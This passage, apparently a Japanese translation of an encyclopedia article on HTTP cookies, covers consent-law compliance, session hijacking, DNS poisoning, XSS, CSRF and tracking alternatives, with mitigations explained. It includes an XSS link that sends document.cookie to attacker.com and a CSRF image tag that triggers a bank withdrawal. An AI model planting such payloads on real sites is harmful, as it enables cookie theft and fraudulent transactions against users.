学術研究と規制当局はどちらも、法律の不遵守が広まっていると述べている。10,000の英国のウェブサイトをスクレイピングした調査によると、最低限の法的要件を遵守しているサイトはわずか11.8％で、調査対象のウェブサイトのうち、クッキーを受け入れるのと同じくらい簡単にクッキーを拒否するメカニズムを提供しているのは33.4％に過ぎなかった。[ 80 ] 17,000のウェブサイトを調査した調査では、84％のサイトがこの基準に違反しており、さらに多くのサイトが全く通知なしにサードパーティのクッキーを置いていることもわかった。[ 86 ]英国の規制当局である情報コミッショナー事務局は2019年に、広告技術グループのインタラクティブ広告局による業界の「透明性と同意のフレームワーク」は「問題の個人データの透明性と公正な処理を確保するには不十分であり、したがって自由意志による情報に基づく同意を提供するのにも不十分であり、PECR [e-プライバシー]遵守に付随する影響を与える」と述べた。[ 82 ]コンプライアンスソリューション（同意管理プラットフォーム）を販売する企業の多くは、明らかに違法な方法での設定を許可しており、学者たちはこれが責任の適切な配分に関して疑問を生じさせていると指摘している。[ 87 ]

W3CのP3P仕様は、サーバーがブラウザにプライバシーポリシーを伝達し、ユーザーが設定可能な自動処理を可能にするために提案されました。しかし、この仕様を実装しているウェブサイトは少なく、W3Cは仕様策定の作業を中止しました。[ 88 ]

サードパーティのCookieは、ほとんどのブラウザでブロックできます。これにより、プライバシーが向上し、広告会社やトラッキング企業によるトラッキングが削減されますが、すべてのサイトでのユーザーのウェブエクスペリエンスに悪影響を与えることはありません。一部のサイトでは「Cookieウォール」を運用しており、ブラウザで技術的にCookieを許可するか、「同意する」ボタンを押すか、またはその両方を行うことを条件に、サイトへのアクセスが制限されます。[ 89 ] 2020年、 EUのすべてのデータ保護規制当局で構成される欧州データ保護会議は、Cookieウォールは違法であると述べました。

同意が自由に与えられるためには、サービスや機能へのアクセスが、ユーザーの端末機器に情報を保存したり、すでに保存されている情報にアクセスしたりすることに同意することを条件となってはならない（いわゆるクッキーウォール）。[ 90 ]

多くの広告事業者は、行動ターゲティング広告のオプトアウトオプションを提供しており、ブラウザの汎用Cookieによって行動ターゲティング広告を停止できる。[ 91 ] [ 92 ]しかし、これは、ブラウザがサードパーティCookieをブロックすることの影響を避けるために人気が高まっているファーストパーティトラッキングなど、多くの形式のトラッキングに対しては効果がないことが多い。[ 93 ] [ 94 ]さらに、このような設定がトラッキングの受け入れよりも難しい場合、eプライバシー指令の条件に違反したままとなる。[ 80 ]

ほとんどのウェブサイトは、ユーザーセッションの識別子としてCookieのみを使用しています。これは、ウェブユーザーを識別する他の方法には限界や脆弱性があるためです。ウェブサイトがセッション識別子としてCookieを使用している場合、攻撃者は被害者のCookieセット全体を盗み出すことで、ユーザーのリクエストを偽装することができます。ウェブサーバーの観点から見ると、攻撃者からのリクエストは被害者のリクエストと同じ認証を持つため、そのリクエストは被害者のセッションに代わって実行されることになります。

ここでは、ユーザー識別に HTTP Cookie のみを使用する Web サイトで発生する、Cookie 盗難およびユーザー セッション ハイジャック (ユーザー Cookie を盗まない場合も含む) のさまざまなシナリオを示します。

ネットワーク盗聴

ネットワークからの読み取りを許可されている別のコンピュータによって、Cookie が盗まれる可能性があります。

ネットワーク上のトラフィックは、送信者と受信者以外のネットワーク上のコンピュータによって傍受され、読み取られる可能性があります（特に暗号化されていないオープンWi-Fi経由の場合）。このトラフィックには、通常の暗号化されていないHTTPセッションで送信されるCookieが含まれます。ネットワークトラフィックが暗号化されていない場合、攻撃者は中間者攻撃を目的として、ネットワーク上の他のユーザーの通信（HTTP Cookieや会話の内容全体を含む）を読み取ることができます。

攻撃者は傍受した Cookie を使用してユーザーになりすまし、被害者の銀行口座から送金するなどの悪意のあるタスクを実行する可能性があります。

この問題は、ユーザーのコンピュータとサーバー間の通信をトランスポート層セキュリティ（HTTPSプロトコル）で暗号化することで解決できます。サーバーはSecureCookieを設定する際にフラグを指定し、ブラウザがTLS接続などの暗号化されたチャネル経由でのみCookieを送信するようにすることができます。[ 46 ]

偽のサブドメインの公開: DNSキャッシュポイズニング

攻撃者がDNS サーバーに偽造した DNS エントリをキャッシュさせることができれば( DNS キャッシュ ポイズニングと呼ばれる)、ユーザーの Cookie にアクセスできるようになります。たとえば、攻撃者は DNS キャッシュ ポイズニングを使用して、攻撃者のサーバーのIP アドレスf12345.www.example.comを指す偽造した の DNS エントリを作成できます。その後、攻撃者は自分のサーバーから画像の URL (たとえば) を投稿できます。攻撃者のメッセージを読んだ被害者は からこの画像をダウンロードします。は のサブドメインであるため、被害者のブラウザはに関連するすべての Cookie を攻撃者のサーバーに 送信することになります。http://f12345.www.example.com/img_4_cookie.jpgf12345.www.example.comf12345.www.example.comwww.example.comexample.com

攻撃者がこれを実行できた場合、通常はインターネットサービスプロバイダがDNSサーバーを適切に保護していなかったことが原因です。しかし、標的のウェブサイトがセキュアCookieを使用している場合、この攻撃の深刻度は軽減されます。この場合、セキュアCookieは暗号化された接続でのみ送信できるため、攻撃者は認証局から標的のウェブサイトのTLS証明書を取得するという追加の課題[ 95 ]に直面することになります。一致するTLS証明書がない場合、被害者のブラウザには攻撃者の無効な証明書に関する警告メッセージが表示され、ユーザーが攻撃者の不正なウェブサイトにアクセスして攻撃者にCookieを送信することを抑止するのに役立ちます。

クロスサイトスクリプティングと呼ばれる手法によってCookieが盗まれることもあります。これは、ユーザーがフィルタリングされていないHTMLやJavaScriptコンテンツを投稿できるウェブサイトを攻撃者が悪用することで発生します。悪意のあるHTMLやJavaScriptコードを投稿することで、攻撃者は被害者のウェブブラウザから、攻撃者が管理するウェブサイトにCookieを送信するように仕向けることができます。

たとえば、攻撃者はwww.example.com次のリンクを使用してメッセージを投稿する可能性があります。 

< a href = "#" onclick = "window.location = 'http://attacker.com/stole.cgi?text=' + escape(document.cookie); return false;" >ここをクリック！</ a >
クロスサイト スクリプティング: サーバーとクライアント間でのみ交換されるはずの Cookie が別の相手に送信されます。

別のユーザーがこのリンクをクリックすると、ブラウザは属性内のコードを実行しonclick、文字列をdocument.cookie現在のページからアクセス可能なCookieのリストに置き換えます。その結果、このCookieのリストがattacker.comサーバーに送信されます。攻撃者の悪意のある投稿がHTTPSウェブサイト上にある場合https://www.example.com、セキュアCookieもプレーンテキストでattacker.comに送信されます。

このような悪意のあるコードを除外するのは、Web サイト開発者の責任です。

このような攻撃は、HttpOnly Cookie を使用することで軽減できます。これらの Cookie は JavaScript などのクライアント側スクリプト言語からはアクセスできないため、攻撃者はこれらの Cookie を収集できません。

クロスサイトスクリプティング: プロキシリクエスト

多くのブラウザの旧バージョンでは、 XMLHttpRequest APIの実装にセキュリティホールが存在していました。このAPIでは、ページが応答を取得するプロキシサーバーを指定でき、このプロキシサーバーは同一生成元ポリシーの対象外となります。例えば、被害者が攻撃者の投稿を で読んでいるとしますwww.example.com。攻撃者のスクリプトが被害者のブラウザで実行されます。スクリプトはwww.example.comプロキシサーバー にリクエストを送信しますattacker.com。リクエストは 宛てであるためwww.example.com、すべてのexample.comCookieがリクエストと共に送信されますが、攻撃者のプロキシサーバーを経由して送信されます。そのため、攻撃者は被害者のCookieを収集できる可能性があります。

この攻撃はセキュアCookieでは機能しません。セキュアCookieはHTTPS接続経由でのみ送信可能であり、HTTPSプロトコルはエンドツーエンドの暗号化（つまり、情報はユーザーのブラウザで暗号化され、宛先サーバーで復号化される）を規定しているためです。この場合、プロキシサーバーはHTTPリクエストの暗号化された生のバイト列のみを目にすることになります。

クロスサイトリクエストフォージェリ

例えば、ボブがチャットフォーラムを閲覧しているときに、別のユーザーであるマロリーがメッセージを投稿したとします。マロリーが、ボブの銀行ウェブサイト（画像ファイルではなく）上のアクションを参照するHTML画像要素を作成したとします。例： 

<img src= "http://bank.example.com/withdraw?account=bob&amount=1000000&for=mallory" >

ボブの銀行がボブの認証情報を Cookie に保存していて、その Cookie の有効期限が切れていない場合、ボブのブラウザが画像を読み込もうとすると、引き出しフォームが Cookie とともに送信され、ボブの承認なしに取引が承認されることになります。

クッキージャッキング

クッキージャッキングはInternet Explorerに対する攻撃で、攻撃者はユーザーを騙して画面上でオブジェクトをドラッグさせることでユーザーのセッションクッキーを盗むことができます。 [ 96 ] Microsoftは、「必要なユーザーインタラクションのレベル」[ 96 ]と、クッキーを盗むウェブサイトにユーザーが既にログインしている必要があることを理由に、この脆弱性を低リスクと判断しました。[ 97 ]それにもかかわらず、ある研究者は150人のFacebookの友達に対してこの攻撃を試み、ソーシャルエンジニアリングを通じてそのうち80人のクッキーを入手しました。[ 96 ]

クッキーの欠点

プライバシーへの懸念に加え、クッキーには技術的な欠点もいくつかあります。特に、ユーザーを正確に識別できないこと、セキュリティ攻撃に利用される可能性があること、そしてRepresentational State Transfer ( REST )ソフトウェアアーキテクチャスタイルと相容れないことが多いことが挙げられます。[ 98 ] [ 99 ]

不正確な識別

1台のコンピュータで複数のブラウザを使用している場合、通常、各ブラウザはそれぞれにCookie用の別々の保存領域を持っています。したがって、Cookieは個人を特定するものではなく、ユーザーアカウント、コンピュータ、ウェブブラウザの組み合わせを特定します。したがって、複数のアカウント、コンピュータ、またはブラウザを使用する人は、複数のCookieセットを持っていることになります。[ 100 ]

同様に、Cookie は同じユーザー アカウント、コンピューター、ブラウザを共有する複数のユーザーを区別しません。

クッキーの代替

クッキーを使用して実行できる操作の一部は、他のメカニズムを使用して実行することもできます。

認証とセッション管理

JSONウェブトークン

JSON Web Token（JWT）は、ユーザーのIDと認証情報を保存するために使用できる自己完結型の情報パケットです。これにより、セッションCookieの代わりに使用できます。ブラウザによって各HTTPリクエストに自動的に添付されるCookieとは異なり、JWTはWebアプリケーションによって各HTTPリクエストに明示的に添付する必要があります。

HTTP認証

HTTPプロトコルには、基本アクセス認証とダイジェストアクセス認証プロトコルが含まれており、これらの認証プロトコルは、ユーザーが正しいユーザー名とパスワードを入力した場合にのみウェブページへのアクセスを許可します。サーバーがウェブページへのアクセスを許可するためにこれらの認証情報を必要とする場合、ブラウザはユーザーに認証情報を要求します。認証情報を取得すると、ブラウザはそれを保存し、以降のすべてのページリクエストで送信します。この情報は、ユーザーを追跡するために利用される可能性があります。

URL（クエリ文字列）

この目的にはURLのクエリ文字列部分が一般的に使用されますが、他の部分も使用できます。JavaサーブレットとPHPのセッションメカニズムはどちらも、Cookieが有効になっていない場合にこの方法を使用します。

この方法では、ウェブサーバーがウェブページ内のすべてのリンクに、一意のセッション識別子を含むクエリ文字列を追加します。ユーザーがリンクをクリックすると、ブラウザはクエリ文字列をサーバーに送信し、サーバーはユーザーを識別して状態を維持できるようになります。

これらのクエリ文字列は、サーバーが選択した任意の情報を含み、リクエストごとにサーバーに送り返されるという点で、Cookieと非常によく似ています。しかし、いくつかの違いもあります。クエリ文字列はURLの一部であるため、そのURLが後で再利用されると、同じ情報がサーバーに送信され、混乱を招く可能性があります。例えば、ユーザーの設定がURLのクエリ文字列にエンコードされており、ユーザーがこのURLを別のユーザーにメールで送信した場合、その設定は他のユーザーにも使用されます。

さらに、同じユーザーが異なるソースから同じページに複数回アクセスした場合、毎回同じクエリ文字列が使用される保証はありません。例えば、ユーザーが最初にサイト内のページからページにアクセスし、次に外部の検索エンジンから同じページにアクセスした場合、クエリ文字列は異なる可能性があります。このような状況でCookieが使用された場合、Cookieは同じになります。

クエリ文字列のその他の欠点はセキュリティに関連しています。セッションを識別するデータをクエリ文字列に保存すると、セッション固定攻撃、リファラーログ攻撃、その他のセキュリティ上の脆弱性が悪用される可能性があります。セッション識別子をHTTP Cookieとして転送する方が安全です。

非表示のフォームフィールド

セッショントラッキングのもう1つの方法は、隠しフィールドを持つWebフォームを使用することです。この手法は、URLクエリ文字列を使用して情報を保持する方法と非常に似ており、多くの利点と欠点があります。実際、フォームがHTTP GETメソッドで処理される場合、GETメソッドはフォームフィールドをクエリ文字列としてURLに追加するため、この手法はURLクエリ文字列を使用する方法と似ています。しかし、ほとんどのフォームはHTTP POSTで処理されるため、隠しフィールドを含むフォーム情報は、URLにもCookieにも含まれないHTTPリクエストボディで送信されます。

このアプローチは、トラッカーの観点から2つの利点があります。まず、トラッキング情報がURLではなくHTTPリクエストボディに配置されるため、一般ユーザーには気付かれません。次に、ユーザーがURLをコピー（例えば、ページをブックマークしたり、メールで送信したりするため）しても、セッション情報はコピーされません。

window.name DOMプロパティ

現在のすべてのウェブブラウザは、 DOMプロパティを使用してJavaScript経由でかなり大きなデータ（2～32MB）を保存できます。このデータはセッションCookieの代わりに使用できます。この技術をJSONwindow.name / JavaScriptオブジェクトと組み合わせることで、クライアント側で複雑なセッション変数セットを保存できます。

欠点は、すべての個別のウィンドウまたはタブを開いたときに、最初は空のプロパティを持つことですwindow.name。

ある意味、これは Cookie よりも安全です。Cookie のようにリクエストごとにコンテンツが自動的にサーバーに送信されないため、ネットワーク Cookie スニッフィング攻撃に対して脆弱ではありません。

トラッキング

IPアドレス

一部のユーザーは、ページをリクエストしたコンピュータのIPアドレスに基づいて追跡される可能性があります。サーバーはブラウザを実行しているコンピュータ（またはプロキシを使用している場合はプロキシ）のIPアドレスを認識しており、理論的にはユーザーのセッションをこのIPアドレスにリンクできます。

しかし、IPアドレスは一般的にセッションを追跡したりユーザーを特定したりする信頼できる方法ではありません。オフィスや自宅のPCなど、単一のユーザー向けに設計された多くのコンピュータは、ネットワークアドレス変換（NAT）によって保護されています。つまり、複数のPCがパブリックIPアドレスを共有することになります。さらに、Torなどの一部のシステムはインターネットの匿名性を維持するように設計されているため、IPアドレスによる追跡は非現実的、不可能、あるいはセキュリティリスクとなります。

ETag

ETagはブラウザによってキャッシュされ、同じリソースへの後続のリクエストで返されるため、トラッキングサーバーはブラウザから受信したETagを単純に繰り返し送信することで、割り当てられたETagが無期限に保持されることを保証できます（永続Cookieと同様に）。追加のキャッシュヘッダーフィールドによって、ETagデータの保存性を向上させることもできます。

一部のブラウザでは、ブラウザ キャッシュをクリアすることで ETag をフラッシュできます。

ブラウザキャッシュ

ブラウザのキャッシュは、個々のユーザーを追跡するために使用できる情報を保存するためにも使用されます。この手法は、ウェブブラウザがリソースの最新バージョンがキャッシュ内に既に保存されていると判断した場合に、ウェブサイトからダウンロードするのではなく、キャッシュ内に保存されているリソースを使用するという性質を利用しています。

例えば、ウェブサイトが、ユーザーに固有の識別子（例：var userId = 3243242;）を設定するコードを含むJavaScriptファイルを提供するとします。ユーザーが最初にページにアクセスした後、そのページにアクセスするたびに、このファイルはサーバーからダウンロードされるのではなく、キャッシュから読み込まれます。そのため、そのコンテンツは決して変更されません。

ブラウザフィンガープリント

ブラウザフィンガープリントとは、ブラウザのバージョン番号、画面解像度、オペレーティングシステムなど、ブラウザの設定に関する情報を識別目的で収集するものです。フィンガープリントは、Cookieが無効になっている場合でも、個々のユーザーまたはデバイスを完全にまたは部分的に識別するために使用できます。

ウェブ解析サービスでは、実際の人間のウェブトラフィックを正確に測定し、様々なクリック詐欺を排除するために、長年にわたり基本的なウェブブラウザ設定情報を収集してきました。クライアントサイドのスクリプト言語の助けを借りれば、はるかに難解なパラメータの収集も可能です。[ 101 ] [ 102 ]このような情報を単一の文字列にまとめたものがデバイスフィンガープリントです。2010年、EFFはブラウザフィンガープリントから少なくとも18.1ビットのエントロピーが得られると測定しました。[ 103 ]より最近の技術であるキャンバスフィンガープリントでは、さらに5.7ビットのエントロピーが追加されると言われています。

ウェブストレージ

一部の Web ブラウザは、後で使用するためにページの情報をローカルに保存できる永続化メカニズムをサポートしています。

HTML5標準（ほとんどの最新のウェブブラウザがある程度サポートしています）には、Webストレージと呼ばれるJavaScript APIが含まれており、ローカルストレージとセッションストレージの2種類のストレージをサポートします。ローカルストレージは永続Cookieと同様に動作し、セッションストレージはセッションCookieと同様に動作します。ただし、セッションストレージは、セッションCookieのようにブラウザセッション全体ではなく、個々のタブ/ウィンドウの有効期間（ページセッション）に関連付けられている点が異なります。[ 104 ]

Internet Explorerは、ブラウザの履歴、ブラウザのお気に入り、XMLストア（「ユーザーデータ」）、またはディスクに保存されたWebページ内での 永続的な情報[ 105 ]をサポートしています。

一部のウェブブラウザプラグインにも永続化メカニズムが組み込まれています。例えば、Adobe Flashにはローカル共有オブジェクト、Microsoft Silverlightには分離ストレージが組み込まれています。[ 106 ]

参照

参考文献

  1. ^ 「Cookieとは何ですか？（セッションCookieと永続Cookie）の違いは何ですか？」Cisco . 2018年7月17日. 117925.
  2. ^ a b Vamosi, Robert (2008年4月14日). 「Gmail cookie stolen via Google Spreadsheets」 . News.cnet.com . 2013年12月9日時点のオリジナルよりアーカイブ。 2017年10月19日閲覧。
  3. ^ 「EU Cookie指令についてはどうでしょうか？」 WebCookies.org、2013年。2017年10月11日時点のオリジナルよりアーカイブ。 2017年10月19日閲覧。
  4. ^ 「新しいネットルールでクッキーが崩壊へ」 BBC 、 2011年3月8日。2018年8月10日時点のオリジナルよりアーカイブ。 2018年6月21日閲覧。
  5. ^ 「Sen. Rockefeller: Get Ready for a Real Do-Not-Track Bill for Online Advertising」 Adage.com 2011年5月6日。2011年8月24日時点のオリジナルよりアーカイブ。 2011年6月2日閲覧。
  6. ^ 「Where cookie comes from :: DominoPower」dominopower.com . 2017年10月19日時点のオリジナルよりアーカイブ。2017年10月19日閲覧。
  7. ^ Raymond, Eric (ed.). 「magic cookie」 . The Jargon File (バージョン4.4.7) . 2017年9月6日時点のオリジナルよりアーカイブ。 2017年9月8日閲覧。
  8. ^シュワルツ、ジョン（2001年9月4日）「ウェブに記憶を与えることはユーザーのプライバシーを犠牲にする」ニューヨーク・タイムズ。2011年11月18日時点のオリジナルよりアーカイブ。 2017年2月19日閲覧。
  9. ^ a b Kesan, Jey; Shah, Rajiv (2018年8月19日). 「Deconstructing Code」. Yale Journal of Law and Technology . 6 : 277–389 . SSRN 597543 . 
  10. ^ a b c Kristol, David M. (2001). 「HTTP Cookies: Standards, Privacy, and Politics」. ACM Transactions on Internet Technology . 1 (2). Association for Computing Machinery (ACM): 151– 198. arXiv : cs/0105018 . doi : 10.1145/502152.502153 . ISSN 1533-5399 . S2CID 1848140 .  
  11. ^ 「プレスリリース：Netscape Communications、新しいNetwork Navigatorをインターネット上で無料提供」。2006年12月7日時点のオリジナルよりアーカイブ。2010年5月22日閲覧。
  12. ^ 「Usenet Post by Marc Andreessen: Here it is, world!」 1994年10月13日. 2011年4月27日時点のオリジナルよりアーカイブ。 2010年5月22日閲覧。
  13. ^ US 5774670、Montulli、Lou、「Persistent client state in a hypertext transfer protocol based client-server system」、1998 年 6 月 30 日発行、Netscape Communications Corp.に譲渡。 
  14. ^ Hardmeier, Sandi (2005年8月25日). 「Internet Explorerの歴史」 . Microsoft. 2005年10月1日時点のオリジナルよりアーカイブ。 2009年1月4日閲覧。
  15. ^宮崎, アンソニー D. (2008). 「オンラインプライバシーとCookie使用の開示：消費者の信頼と期待される顧客行動への影響」 .公共政策・マーケティングジャーナル. 27 (1): 19– 33. doi : 10.1509/jppm.27.1.19 . ISSN 0743-9156 . 
  16. ^ Jackson, T (1996年2月12日). 「あなたのPCのこのバグは賢いクッキーです」.フィナンシャル・タイムズ.
  17. ^ a b RFC 2109 . sec. 8.3. doi : 10.17487/RFC2109 .
  18. ^ 「Cookieの設定」 staff.washington.edu 2009年6月19日. 2017年3月16日時点のオリジナルよりアーカイブ。 2017年3月15日閲覧。
  19. ^ edbrowse ドキュメント バージョン 3.5 には、「Netscape 形式の Cookie のみがサポートされていることに注意してください。ただし、これは最も一般的な Cookie です。おそらくニーズを満たすでしょう。」と記載されていました。この段落は、 RFC 2965 の廃止に伴い、2017 年 3 月 16 日にWayback Machineにアーカイブされたドキュメントの後のバージョン では削除されました。
  20. ^ホッジス、ジェフ；コリー、ビル（2011年3月6日）。「HTTP状態管理メカニズム」から「提案された標準」へ。セキュリティ実践。2016年8月7日時点のオリジナルよりアーカイブ。 2016年6月17日閲覧。
  21. ^ “Set-Cookie2 - HTTP | MDN” . developer.mozilla.org . 2021年3月8日閲覧。
  22. ^ 「Internet Explorer の永続 Cookie とセッションごとの Cookie の説明」 support.microsoft.com 2007年1月24日。2011年9月25日時点のオリジナルよりアーカイブ。
  23. ^ 「Cookieによるセッション状態の維持」。Microsoft Developer Network。2012年10月14日時点のオリジナルよりアーカイブ。2012年10月22日閲覧。
  24. ^ Bujlow, Tomasz; Carela-Espanol, Valentin; Lee, Beom-Ryeol; Barlet-Ros, Pere (2017). 「Webトラッキングに関する調査：メカニズム、影響、防御策」. Proceedings of the IEEE . 105 (8): 1476– 1510. doi : 10.1109/JPROC.2016.2637878 . hdl : 2117/108437 . ISSN 0018-9219 . 
  25. ^ Rasaii, Ali; Singh, Shivani; Gosain, Devashish; Gasser, Oliver (2023), Brunstrom, Anna; Flores, Marcel; Fiore, Marco (eds.), "Exploring the Cookieverse: A Multi-Perspective Analysis of Web Cookies" , Passive and Active Measurement , vol. 13882, Cham: Springer Nature Switzerland, pp.  623– 651, doi : 10.1007/978-3-031-28486-1_26 , ISBN 978-3-031-28485-4、 2024年8月24日閲覧{{citation}}: CS1 maint: ISBNによる作業パラメータ（リンク）
  26. ^ Bugliesi, Michele; Calzavara, Stefano; Focardi, Riccardo; Khan, Wilayat (2015年9月16日). 「CookiExt: セッションハイジャック攻撃に対するブラウザのパッチ適用」 . Journal of Computer Security . 23 (4): 509– 537. doi : 10.3233/JCS-150529 . hdl : 10278/3663357 .
  27. ^ "「'SameSite' Cookie 属性、Chrome プラットフォームのステータス」。Chromestatus.com 。 2016年5月9日時点のオリジナルよりアーカイブ。2016年4月23日閲覧。
  28. ^ Goodwin, M.; West (2016年6月20日). 「Same-Site Cookies draft-ietf-httpbis-cookie-same-site-00」 . Ietf Datatracker . 2016年8月16日時点のオリジナルよりアーカイブ。 2016年7月28日閲覧。
  29. ^ 「"SameSite = None" には "Secure" が必要」。miketaylr 著 · Pull Request #1323 · httpwg/http-extensions。GitHub 。 2021年4月5日閲覧。
  30. ^ West, Mike; Wilander, John (2020年12月7日). Cookies: HTTP状態管理メカニズム（レポート）. Internet Engineering Task Force.
  31. ^ 「'SameSite' Cookie 属性のブラウザ互換性テスト」。
  32. ^ 「2020年2月のSameSite Cookieの変更：知っておくべきこと」 Chromiumブログ。 2021年4月5日閲覧。
  33. ^ 「SameSite Cookieの変更を一時的にロールバック」 Chromiumブログ。 2021年4月5日閲覧。
  34. ^ Schuh, Justin (2020年5月28日). 「7月にSameSite Cookieの変更を再開」 . Chromium Blog . 2024年2月18日閲覧。
  35. ^ 「Public Suffix Listについて詳しくはこちら」 Publicsuffix.org 2016年5月14日時点のオリジナルよりアーカイブ。2016年7月28日閲覧。
  36. ^ 「パブリックサフィックスリストのプライバシー被害に関する初見調査」 Brave 、 2023年10月25日。 2026年1月1日閲覧。
  37. ^ Mayer, Jonathan (2011年8月19日). 「トラッカーの追跡：Microsoft Advertising」 . インターネットと社会センター. 2011年9月26日時点のオリジナルよりアーカイブ。 2011年9月28日閲覧。
  38. ^ Vijayan, Jaikumar (2011年8月19日). 「Microsoft、MSN.com訪問者向けに使用される「スーパーCookie」を無効化」Computerworld . 2014年11月27日時点のオリジナルよりアーカイブ。 2014年11月23日閲覧。
  39. ^ Englehardt, Steven; Edelstein, Arthur (2021年1月26日). 「Firefox 85、スーパークッキーを厳重に取り締まる」 . Mozillaセキュリティブログ. 2024年2月25日時点のオリジナルよりアーカイブ。
  40. ^ Angwin, Julia ; Tigas, Mike (2015年1月14日). 「ゾンビクッキー：消せないトラッキングクッキー」 . ProPublica . 2020年11月1日閲覧。
  41. ^ストルツェ、コンラッド (2011年6月11日). 「崩れないクッキー！」 24x7マガジン. 2020年11月1日閲覧。
  42. ^ Peng, Weihong; Cisna, Jennifer (2000). 「HTTP Cookies、有望な技術」. ProQuest . オンライン情報レビュー. ProQuest 194487945 . 
  43. ^ Jim Manico が Daniel Stenberg の「Real world cookie length limits」を引用。2013 年 7 月 2 日、 Wayback Machineにアーカイブ。
  44. ^ Lee, Wei-Bin; Chen, Hsing-Bai; Chang, Shun-Shyan; Chen, Tzung-Her (2019年1月25日). 「自己検証によるHTTP Cookieの安全かつ効率的な保護」 . International Journal of Communication Systems . 32 (2) e3857. doi : 10.1002/dac.3857 . S2CID 59524143 . 
  45. ^レイニー・リー（2012年）『ネットワーク：新しいソーシャル・オペレーティング・システム』p.237
  46. ^ a b HTTP状態管理メカニズム. doi : 10.17487/RFC6265 . RFC 6265 .
  47. ^ 「永続的なクライアント状態HTTPクッキー：暫定仕様」 Netscape、1999年頃。 2007年8月5日時点のオリジナルよりアーカイブ。
  48. ^ 「Cookieプロパティ」。MSDN。Microsoft 。 2008年4月5日時点のオリジナルよりアーカイブ。2009年1月4日閲覧。
  49. ^ Shannon, Ross (2007年2月26日). 「Cookie：読者に関する情報の設定と取得」 . HTMLSource. 2011年8月24日時点のオリジナルよりアーカイブ。2009年1月4日閲覧。
  50. ^ Barth, A. HTTP状態管理メカニズム、パス属性。sec. 4.1.2.4. doi : 10.17487/ RFC6265。RFC 6265 。
  51. ^ Barth, A. (2014年3月). RFC 6265, HTTP状態管理メカニズム, ドメインマッチング. sec. 5.1.3. doi : 10.17487/RFC6265 . RFC 6265 .
  52. ^ Barth, A. (2014年3月). RFC 6265, HTTP状態管理メカニズム, ドメイン属性. sec. 4.1.2.3. doi : 10.17487/RFC6265 . RFC 6265 .
  53. ^ 「Internet Explorer Cookie 内部構造（FAQ）」 2018年11月21日。
  54. ^クリストル、D.;モントゥリ、L. (2014 年 3 月)。RFC 2109、HTTP 状態管理メカニズム、Set-Cookie 構文。秒4.2.2.土井: 10.17487/RFC2109。S2CID 6914676。RFC 2109。 
  55. ^ Barth, A. (2011). RFC 6265, HTTP状態管理メカニズム. sec. 5.1.1. doi : 10.17487/RFC6265 . RFC 6265 .
  56. ^ 「最新ブラウザにおけるCookie仕様の互換性」inikulin.github.io 2016年。2016年10月2日時点のオリジナルよりアーカイブ。 2016年9月30日閲覧。
  57. ^ Coles, Peter. 「HTTP Cookies: What's the difference between Max-age and Expires? – Peter Coles」 Mrcoles.com . 2016年7月29日時点のオリジナルよりアーカイブ。 2016年7月28日閲覧。
  58. ^シマンテックインターネットセキュリティ脅威レポート：2007年7月～12月の動向（エグゼクティブサマリー）（PDF）（レポート）。第13巻。シマンテック社、2008年4月。1  ～ 3ページ。 2008年6月25日時点のオリジナル（PDF）からのアーカイブ。 2008年5月11日閲覧。
  59. ^ Whalen, David (2002年6月8日). 「The Unofficial Cookie FAQ v2.6」 . Cookie Central. 2011年8月24日時点のオリジナルよりアーカイブ。 2009年1月4日閲覧。
  60. ^ 「Internet Explorer 6でCookieを管理する方法」。Microsoft。2007年12月18日。2008年12月28日時点のオリジナルよりアーカイブ。2009年1月4日閲覧。
  61. ^ 「プライベートデータの消去」。Firefoxサポートナレッジベース。Mozilla。2008年9月16日。2009年1月3日時点のオリジナルよりアーカイブ。 2009年1月4日閲覧。
  62. ^ 「個人情報の消去：閲覧履歴データの消去」。Google Chrome ヘルプ。2009年3月11日時点のオリジナルよりアーカイブ。 2009年1月4日閲覧。
  63. ^ 「個人情報の消去：Cookieの削除」。Google Chromeヘルプ。2009年3月11日時点のオリジナルよりアーカイブ。 2009年1月4日閲覧。
  64. ^ 「サードパーティドメイン」 . WebCookies.org. 2014年12月9日時点のオリジナルよりアーカイブ。2014年12月7日閲覧。
  65. ^ 「クッキーの数」 WebCookies.org. 2014年12月9日時点のオリジナルよりアーカイブ。2014年12月7日閲覧。
  66. ^ Statt, Nick (2020年3月24日). 「Apple、Safariのトラッキング防止技術をアップデートし、サードパーティCookieの完全ブロックを実現」 The Verge . 2020年7月24日閲覧。
  67. ^ 「Firefox、サードパーティCookieをデフォルトでブロック」 VentureBeat 2019年6月4日. 2020年7月24日閲覧。
  68. ^ Brave (2020年2月6日). 「OK Google、ブラウザのプライバシー保護を2022年まで延期しないでください」 . Braveブラウザ. 2020年7月24日閲覧。
  69. ^ Protalinski, Emil (2020年5月19日). 「Chrome 83はセキュリティ設定の再設計とシークレットモードでのサードパーティCookieのブロックを導入」 . VentureBeat . 2020年6月25日閲覧。
  70. ^ Amadeo, Ron (2024年4月24日). 「GoogleはサードパーティCookieをやめられない ― 遅延により3度目の閉鎖」 Ars Technica . 2024年4月25日閲覧。
  71. ^ Lawler, Richard (2024年7月22日). 「GoogleのChromeでサードパーティCookieを無効にする計画は消滅しつつある」 The Verge . 2024年7月29日閲覧。
  72. ^宮崎, アンソニー D. (2008)、「オンラインプライバシーとCookie使用の開示：消費者の信頼と期待される顧客行動への影響」、公共政策・マーケティングジャーナル、23（春）、19-33
  73. ^ 「スパイ機関が違法追跡ファイルを削除」ニューヨーク・タイムズ、2005年12月29日。2011年11月12日時点のオリジナルよりアーカイブ。2017年2月19日閲覧。
  74. ^ 「EU Cookie指令、指令2009/136/EC」。JISC法務情報。2012年12月18日時点のオリジナルよりアーカイブ。 2012年10月31日閲覧。
  75. ^ a bプライバシーおよび電子通信規則。情報コミッショナー事務局。2012年。2012年10月30日時点のオリジナルよりアーカイブ。 2012年10月31日閲覧。
  76. ^ 「Cookieおよび類似のテクノロジー」 ico.org.uk 2021年1月1日2021年6月6日閲覧。
  77. ^ a b “EUR-Lex - 62017CN0673 - EN - EUR-Lex” . eur-lex.europa.eu . 2021年6月6日閲覧。
  78. ^ a b Veale, Michael; Zuiderveen Borgesius, Frederik (2021年4月1日)「欧州データ保護法に基づくアドテックとリアルタイム入札」、doi : 10.31235/osf.io/wg8fq、hdl : 2066/253518、S2CID 243311598 
  79. ^ Zuiderveen Borgesius, Frederik J. (2015年8月). 「行動ターゲティングのための個人データ処理：法的根拠は？」 .国際データプライバシー法. 5 (3): 163– 176. doi : 10.1093/idpl/ipv011 . ISSN 2044-3994 . 
